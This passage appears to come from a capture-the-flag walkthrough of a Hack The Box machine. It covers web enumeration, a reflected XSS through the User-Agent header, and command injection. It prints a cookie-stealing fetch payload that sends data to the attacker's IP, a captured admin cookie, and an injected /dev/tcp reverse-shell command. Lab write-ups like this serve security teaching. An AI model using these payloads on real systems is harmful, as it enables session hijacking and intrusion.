|     &lt;title&gt;Under Construction&lt;/title&gt;</code></pre><p>The server header indicates the use of Werkzeug/2.2.2 Python/3.11.2, suggesting a Python-based web application, possibly Flask. The presence of a cookie with the name <code>is_admin</code> is particularly interesting. It suggests the application might be vulnerable to cookie tampering or session management vulnerabilities.</p><p>Possible vectors include:</p><ul><li><p><strong>Cookie Manipulation:</strong> You can explore manipulating this cookie. Try decoding it if it&#8217;s base64-encoded, or if it looks like a serialized Python object, consider object deserialization attacks.</p></li><li><p><strong>Directory Traversal/File Inclusion:</strong> Since it&#8217;s a web server, you might also investigate directory traversal or file inclusion vulnerabilities.</p></li></ul><h2>Server enumeration</h2><p><code>Dirsearch </code>is used to find other pages to enumerate on.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/headless/scans]
&#9492;&#9472;$ dirsearch -u http://10.129.27.108:5000
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Documents/htb-machines/headless/scans/reports/http_10.129.27.108_5000/_24-04-13_00-10-00.txt

Target: http://10.129.27.108:5000/

[00:10:00] Starting:
[00:12:25] 401 -  317B  - /dashboard
[00:14:28] 200 -    2KB - /support

Task Completed</code></pre><p>Two pages are identified:</p><ol><li><p><code>http://10.129.27.108:5000/dashboard</code> results in Unauthorized.</p></li><li><p><code>http://10.129.27.108:5000/support</code> returns a web form.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!58Bs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!58Bs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 424w, https://substackcdn.com/image/fetch/$s_!58Bs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 848w, https://substackcdn.com/image/fetch/$s_!58Bs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 1272w, https://substackcdn.com/image/fetch/$s_!58Bs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!58Bs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png" width="301" height="730" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:730,&quot;width&quot;:301,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;webform.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="webform.png" title="webform.png" srcset="https://substackcdn.com/image/fetch/$s_!58Bs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 424w, https://substackcdn.com/image/fetch/$s_!58Bs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 848w, https://substackcdn.com/image/fetch/$s_!58Bs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 1272w, https://substackcdn.com/image/fetch/$s_!58Bs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f19f278-cd65-4a38-bf66-4b36b4b3c580_301x730.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Webform enumeration</h2><p>Using Burpsuite, the responses to the submissions can be monitored.</p><p>A benign submission results in an unremarkable POST request with a 200 status code.</p><p>Sending a URL-encoded reverse shell returns a <strong>Hacking Attempt Detected</strong>* warning, with the previously identified cookie displayed.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ddvY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ddvY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 424w, https://substackcdn.com/image/fetch/$s_!ddvY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 848w, https://substackcdn.com/image/fetch/$s_!ddvY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 1272w, https://substackcdn.com/image/fetch/$s_!ddvY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ddvY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png" width="672" height="541" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:541,&quot;width&quot;:672,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;hacking-attempt-detected.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="hacking-attempt-detected.png" title="hacking-attempt-detected.png" srcset="https://substackcdn.com/image/fetch/$s_!ddvY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 424w, https://substackcdn.com/image/fetch/$s_!ddvY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 848w, https://substackcdn.com/image/fetch/$s_!ddvY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 1272w, https://substackcdn.com/image/fetch/$s_!ddvY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3548bebb-cfd9-4721-8c37-0b2c0e6f456b_672x541.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The cookie&#8217;s first part decodes from Base-64 to <code>user</code>. The second part is not clearly discernible. If it were a JWT, the second part would be the payload, so perhaps this represents unique users.</p><p>The inclusion of the cookie in various locations suggests that perhaps other cookies can be stolen.</p><h1>Initial access</h1><h2>Stealing cookies via a Reflected XSS</h2><h3>User-Agent as an injection point</h3><p>The server is displaying an error page when a hacking attempt is detected, and this page includes the <code>User-Agent</code> string, along with other client request information. If this information is not sanitised before being included in the HTML of the error page, it could lead to an XSS vulnerability.</p><h3>The payload</h3><p>The following payload uses an error-handling method to execute JavaScript.</p><p><code>&lt;img src=x onerror=fetch('http://IP/?c='+document.cookie);&gt;</code></p><ul><li><p><code>&lt;img src=x&gt;</code>: This part attempts to load an image from a source that doesn&#8217;t exist (<code>x</code>), which will naturally cause an error.</p></li><li><p><code>onerror=fetch(...)</code>: The <code>onerror</code> attribute of the <code>&lt;img&gt;</code> tag fires when an error occurs (like failing to load the image). It triggers the fetch API call.</p></li><li><p><code>fetch('http://IP/?c='+document.cookie)</code>: This JavaScript fetches a URL, appending the document&#8217;s cookies as a query parameter.</p></li></ul><p>The <code>fetch</code> part is a classic technique for stealing cookies if the attacker controls the fetched domain, which, in this case, it is.</p><h3>Executing the attack</h3><p>To execute the attack, Burpsuite can be used to repeat the POST method used to submit a form.</p><p>The payload is then placed in the <code>User-Agent</code> field. However, any of the fields that are rendered in the HTML of the error page could potentially work. For example, replacing the <code>Accept</code> value with the payload also worked in this instance.</p><p>The <code>message</code> field of the form needs to include something that will trigger the error. This could be the reverse shell attempted earlier or a copy of the payload in the <code>User-Agent</code> field - it doesn&#8217;t matter as long as it triggers the error.</p><blockquote><p><em>Including the cookie stealing payload in the </em><code>message</code> field is only to trigger the error; it does not actually execute from here because this field is not displayed back on the error page.</p></blockquote><pre><code>POST /support HTTP/1.1
Host: 10.129.27.108:5000
Content-Length: 140
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.27.108:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: &lt;img src=x onerror=fetch('http://10.10.14.6/?c='+document.cookie);&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.27.108:5000/support
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Connection: close

fname=emdeh&amp;lname=emdeh&amp;email=emdeh%40emdeh.com&amp;phone=emdeh&amp;message=abc; &lt;img src=x onerror=fetch('http://10.10.14.6/?c='+document.cookie);&gt;</code></pre><p>Once the payload is ready, a webserver is started to receive the <code>document.cookie</code> value as a query parameter to the malicious GET request the server is inadvertently tricked into sending.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents]
&#9492;&#9472;$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.27.108 - - [13/Apr/2024 01:12:14] "GET /?c=is_admin=ImFkbWluIg.&lt;SNIP&gt; HTTP/1.1" 200 -</code></pre><h2>Cookie manipulation</h2><p>Putting the captured cookie through a decoder reveals it has a header value of <code>admin</code>. Given the original cookie had a value of <code>user</code>, it would appear an administrator cookie has been obtained.</p><p>Including the cookie in a request to the <code>/dashboard</code> page successfully hijacks an admin session and reveals the Administrator Dashboard with a simple form to generate a website health report with a <code>Select Date</code> field.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!j1Px!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!j1Px!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 424w, https://substackcdn.com/image/fetch/$s_!j1Px!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 848w, https://substackcdn.com/image/fetch/$s_!j1Px!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 1272w, https://substackcdn.com/image/fetch/$s_!j1Px!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!j1Px!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png" width="1175" height="510" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:510,&quot;width&quot;:1175,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;admin-dashboard.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="admin-dashboard.png" title="admin-dashboard.png" srcset="https://substackcdn.com/image/fetch/$s_!j1Px!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 424w, https://substackcdn.com/image/fetch/$s_!j1Px!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 848w, https://substackcdn.com/image/fetch/$s_!j1Px!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 1272w, https://substackcdn.com/image/fetch/$s_!j1Px!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F72ba9c62-69ec-49c7-965e-ab7be2753764_1175x510.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Enumerating the <code>Select Date</code> field</h2><p>Testing to see if the <code>Select Date</code> field is properly sanitised quickly suggests it is not. Including <code>;ls</code> returns a list of files to the browser, as shown below.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C6V-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C6V-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 424w, https://substackcdn.com/image/fetch/$s_!C6V-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 848w, https://substackcdn.com/image/fetch/$s_!C6V-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 1272w, https://substackcdn.com/image/fetch/$s_!C6V-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C6V-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png" width="1173" height="813" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:813,&quot;width&quot;:1173,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;admin-dashboard-ls-show.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="admin-dashboard-ls-show.png" title="admin-dashboard-ls-show.png" srcset="https://substackcdn.com/image/fetch/$s_!C6V-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 424w, https://substackcdn.com/image/fetch/$s_!C6V-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 848w, https://substackcdn.com/image/fetch/$s_!C6V-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 1272w, https://substackcdn.com/image/fetch/$s_!C6V-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faa8534f7-4562-4761-93fa-f82c58c2bcd1_1173x813.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Command injection</h2><p>Attempting to exploit this to execute a reverse shell fails. Another option is to attempt to create a reverse shell in a file and then subsequently call the file.</p><p>Try to create a reverse shell on the server; the following command is injected into the field:</p><blockquote><p><code>echo '#!/bin/bash' &gt; reverse_shell.sh &amp;&amp; echo 'sh -i &gt;&amp; /dev/tcp/10.10.14.6/4321 0&gt;&amp;1' &gt;&gt; reverse_shell.sh</code></p></blockquote><p>The command is URL-encoded and submitted, making sure to include the stolen cookie in the HTTP headers.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SsIC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SsIC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 424w, https://substackcdn.com/image/fetch/$s_!SsIC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 848w, https://substackcdn.com/image/fetch/$s_!SsIC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 1272w, https://substackcdn.com/image/fetch/$s_!SsIC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SsIC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png" width="589" height="505" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:505,&quot;width&quot;:589,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;data-payload.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="data-payload.png" title="data-payload.png" srcset="https://substackcdn.com/image/fetch/$s_!SsIC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ff2b564-af6b-45af-af2b-030e327edcc2_589x505.png 424w, 